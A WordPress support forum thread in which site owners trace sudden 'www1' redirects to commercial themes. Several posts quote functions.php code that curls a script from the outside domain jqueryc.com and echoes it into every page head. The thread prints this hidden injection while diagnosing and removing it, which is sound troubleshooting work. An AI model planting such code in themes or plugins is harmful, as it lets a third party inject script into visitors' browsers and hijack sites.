    Hey There,
    In the last week i've built a wordpress site at http://www.chillicakedeli.com and finished it two days ago, woke up this morning and it's saying 'Server Not Found' Firefox can't find the server at www1.chillicakedeli.com, don't know why it's suddenly stopped working as it was fine all yesterday!

    Please help

    Try contacting your hosts. That's a hosting issue - not a WordPress one.

    I've just tried de-activating my theme and using twenty twelve and it's worked, could it be a problem with the theme file?

    With a "Server Not found" message? I seriously doubt it. Try switching back to your old theme and see what happens.

    So i've switched to twenty twelve, and the site loads fine, as soon as I switch back to the original theme I want to use for the site, the error is back :(

    That is so weird! Where did you get this theme from? It must be doing something really funky to generate that kind of error.

    esmi, my host have just got back to me saying something on the installation has changed it to use www1.

    Could I of been hacked?

    Possibly but it's not a type of hack that I've seen before. Can you post the contents of your WordPress root .htaccess file here if it's not too large?

    I am having the same issue at http://www.techproject.com.au; i think this may be a hack or a bug which is common in some themes. If I change the theme the site is back up; if I change back it crashes again with a www1 redirection.

    I would appreciate any feedback on this.

    @jarrodcase: what is in your .htaccess file? What theme are you using?

  12. jarrodcase

    Theme is WP-Avatar v1.0

    htaccess for / is

    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>

    # END WordPress

    Same problem here!, i have the "StorePress - Premium WordPress E-commerce Theme" Just like above, when i activate twenty eleven or so the site comes back online. (not fully offline Admin login etc. does work but the whole front site doesnt work error: "Server not found Firefox can't find the server on www1.csbracingparts.nl." but i DO see the favicon! *try http://www.csbracintparts.nl

    ps. When you go to another page like /about it DOES load! and you see in the loading bar, that he has loaded the page and when he does he kinda redirects or something to this error page!

    I also see the favicon. I get the title before it stops so it's loading wordpress.

    @jarrodcase: Your .htaccess file is fine, so I can only assume that the problem lies within the theme. As this is a commercial theme, you need to contact the theme's vendor/developer directly: http://themeforest.net/user/wpavatar

    @vexdesign: Your issue is completely different. As per the Forum Welcome, please post your own topic.

    @esmi This is the same issue and it's not common to 1 theme.

    Same problem here... site has been working fine for months and today... re-directed to www1. Have re-uploaded the theme and it now working ok again... but for how long I wonder? Using Modernize theme from GoodLayers purchased from Themeforest.

    I Fixed it!,.. few minutes ago, it redirected to jqueryc.com or something... i searched in the functions.php and there it was, from line 2 to 10 some weird code ,with redirections etc., i completely removed that code and it worked again. safety failure?

    here is the solution:
    For the "Modernize" theme in file ../include/plugin/post.php replace

    $url = "http://www.jqueryc.com/jquery-1.6.3.min.js";

    with

    $src = "http://ajax.googleapis.com/ajax/libs/jquery/1.6.3/jquery.min.js";

    The domain "www.jqueryc.com" is expired

    My site was doing the same thing today. It was redirecting to www1. I'm using the Empire theme

    In the template function editor, I replaced
    $url = "http://www.jqueryc.com/jquery-1.6.3.min.js";
    with
    $src = "http://ajax.googleapis.com/ajax/libs/jquery/1.6.3/jquery.min.js";
    and got nothing but i reverted it back to what it was
    $url = "http://www.jqueryc.com/jquery-1.6.3.min.js";
    and my site started working again. I don't know why but it did

    Hi @esmi, as I've said; I use WP-Avatar.

    I've removed the following code from functions.php

    if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://ajax.googleapis.com/ajax/libs/jquery/1.6.3/jquery.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}
    if (function_exists('load_theme_textdomain')) {
        load_theme_textdomain('wpavatar', get_template_directory().'/language');
    }

    The site is now working. What does the above actually do for the site? I'm guessing language?

    I am not comfortable still as to why this has happened; the cause has not been defined; and there are multiple people just deleting code in wordpress to get it working again.

    Please provide some clarification around the issue.

    if (function_exists('load_theme_textdomain')) {
    load_theme_textdomain('wpavatar', get_template_directory().'/language');
    }

    I just added back the second if function which I included by mistake.

  24. Any theme (or plugin) that is forcing you to use jQuery 1.6.3 needs to be taken out back and shot.

    WordPress uses 1.7.2, and I believe we'll be on 1.8.3 for WP 3.5.

    So ... If your themes are forcing that in, then they need to stop.

    My site began redirecting again so I tried removing the code from functions. When I did that, the whole page turned white and i couldn't do anything at all. I had to go back on the browser for the editor page to show up again. I reinserted the code so it reads exactly the same as it was. I clicked submit and it still turned the whole page white. Now no matter where I try to go everything is just white. I am scared to close out of the window because I cant log back on to wp-admin because it will just take me to a white page. My site is ncsucottonfirst.com. Please help!

    This is what my function page says
    <?php if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}

    function uw_session_start(){
    session_start();
    }

    add_action( 'init', 'uw_session_start' );

    // INCLUDE MY FRAMEWORK
    require_once(TEMPLATEPATH . "/framework/theme.php");

    ?>

    @bmwhealon do you have FTP access to the site? and any backups of the site?

    I'm not sure. I had someone else make the site and I just manage it. When it started redirecting today I just followed instructions on this and other forums. It started working for an hour and then stopped. then I deleted a code, pressed submit, got a blank screen, went back and reinserted code and still got a blank screen. But the code is the exact same as it was beforehand when the wpadmin page was still working.

    Hey @bmwhealon, I think you will find if you deleted the wrong code eg. partially out of the function.php file; this will happen. If you have FTP details you can login to the server and see the files / upload a fix without using wordpress. Then wordpress will work again.

    @Ipstenu: I'll let Themeforest know about this one. They've specifically asked to be notified about themes using versions of jQuery older than core WP.
